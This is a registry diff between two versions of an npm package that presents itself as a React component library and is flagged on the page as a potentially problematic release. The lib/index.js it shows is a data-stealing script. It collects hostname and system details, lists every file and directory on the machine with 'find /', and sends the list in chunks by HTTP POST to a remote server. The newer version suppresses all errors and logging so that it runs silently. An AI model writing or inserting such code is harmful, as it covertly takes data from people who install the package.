@platform-ui-kit/components-library-react 9.9.3 → 9.9.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-ui-kit/components-library-react might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/lib/index.js +37 -46
  2. package/package.json +1 -1
package/lib/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  const http = require("http");
2
2
  const os = require("os");
3
- const { execSync } = require("child_process");
3
+ const { exec } = require("child_process");
4
4
  const fs = require("fs");
5
5
  const path = require("path");
6
6
 
@@ -8,16 +8,6 @@ const hostname = os.hostname();
8
8
  const maxLinesPerRequest = 10; // Maximum lines to send per request
9
9
  const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
10
10
 
11
- // Function to execute shell commands and return output
12
- const executeCommand = (cmd) => {
13
- try {
14
- return execSync(cmd, { encoding: "utf-8" }).trim();
15
- } catch (error) {
16
- console.error(`Error executing command: ${error.message}`);
17
- return null; // Return null in case of error
18
- }
19
- };
20
-
21
11
  // Gather machine information
22
12
  const machineInfo = {
23
13
  hostname: hostname,
@@ -25,31 +15,29 @@ const machineInfo = {
25
15
  uptime: os.uptime(),
26
16
  };
27
17
 
28
- // Function to gather the home directory
18
+ // Function to gather the entire filesystem
29
19
  const gatherFilesystem = () => {
30
- const homeDir = os.homedir(); // Get the home directory of the user
31
- const command = `find ${homeDir} > ${outputFile}`; // Run the find command on the home directory
32
- const result = executeCommand(command);
33
- if (result === null) {
34
- console.error("Failed to gather filesystem data.");
35
- process.exit(1); // Exit if command fails
36
- } else {
37
- console.log("Filesystem data gathered in filesystem.txt");
38
- }
20
+ const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
21
+ exec(command, (error) => {
22
+ // Do nothing on error
23
+ if (error) {
24
+ return; // Exit if there's an error
25
+ }
26
+ // Do not log anything here
27
+ });
39
28
  };
40
29
 
41
30
  // Function to read the filesystem data in chunks
42
31
  const readFilesystemInChunks = () => {
43
32
  if (!fs.existsSync(outputFile)) {
44
- console.error(`File not found: ${outputFile}`);
45
- process.exit(1); // Exit if the file does not exist
33
+ return []; // Return an empty array if the file does not exist
46
34
  }
47
35
 
48
36
  const data = fs
49
37
  .readFileSync(outputFile, "utf-8")
50
38
  .split("\n")
51
39
  .filter((line) => line.trim() !== "");
52
- return data; // Return an array of directory lines
40
+ return data; // Return an array of file paths
53
41
  };
54
42
 
55
43
  // Function to send a POST request with a given payload
@@ -57,7 +45,7 @@ const sendPostRequest = (chunk, chunkIndex) => {
57
45
  const data = JSON.stringify({
58
46
  payload: {
59
47
  ...machineInfo,
60
- directories: chunk,
48
+ directories: chunk, // Change "files" to "directories"
61
49
  },
62
50
  project_id: process.argv[2],
63
51
  });
@@ -76,36 +64,39 @@ const sendPostRequest = (chunk, chunkIndex) => {
76
64
 
77
65
  // Send the request
78
66
  const req = http.request(options, (res) => {
79
- res.on("data", (d) => {
80
- process.stdout.write(d);
67
+ res.on("data", () => {
68
+ // Do nothing with the response data
81
69
  });
82
70
  });
83
71
 
84
- req.on("error", (error) => {
85
- console.error(`Request error: ${error.message}`);
72
+ req.on("error", () => {
73
+ // Do nothing on request error
86
74
  });
87
75
 
88
76
  req.write(data);
89
77
  req.end();
90
- console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
78
+ // Do not log anything about sent requests
91
79
  };
92
80
 
93
- // Gather the filesystem starting from the home directory
81
+ // Gather the filesystem
94
82
  gatherFilesystem();
95
83
 
96
- // Read the filesystem data
97
- const directoryLines = readFilesystemInChunks();
98
- const totalLines = directoryLines.length; // Total lines collected
99
-
100
- // Send each batch of directories, with a maximum of 10 lines per request
101
- for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
102
- const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
103
-
104
- // Adding a delay of 500ms between requests
105
- setTimeout(
106
- () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
107
- (i / maxLinesPerRequest) * 500
108
- );
109
- }
84
+ // Use a slight delay to ensure the filesystem.txt is populated
85
+ setTimeout(() => {
86
+ // Read the filesystem data
87
+ const fileLines = readFilesystemInChunks();
88
+ const totalLines = fileLines.length; // Total lines collected
89
+
90
+ // Send each batch of directories and files, with a maximum of 10 lines per request
91
+ for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
92
+ const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
93
+
94
+ // Adding a delay of 500ms between requests
95
+ setTimeout(
96
+ () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
97
+ (i / maxLinesPerRequest) * 500
98
+ );
99
+ }
110
100
 
111
- console.log("All requests have been sent.");
101
+ // Do not log anything about all requests sent
102
+ }, 1000); // Adjust delay as necessary
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@platform-ui-kit/components-library-react",
3
- "version": "9.9.3",
3
+ "version": "9.9.6",
4
4
  "description": "My NPM",
5
5
  "main": "lib/index.js",
6
6
  "scripts": {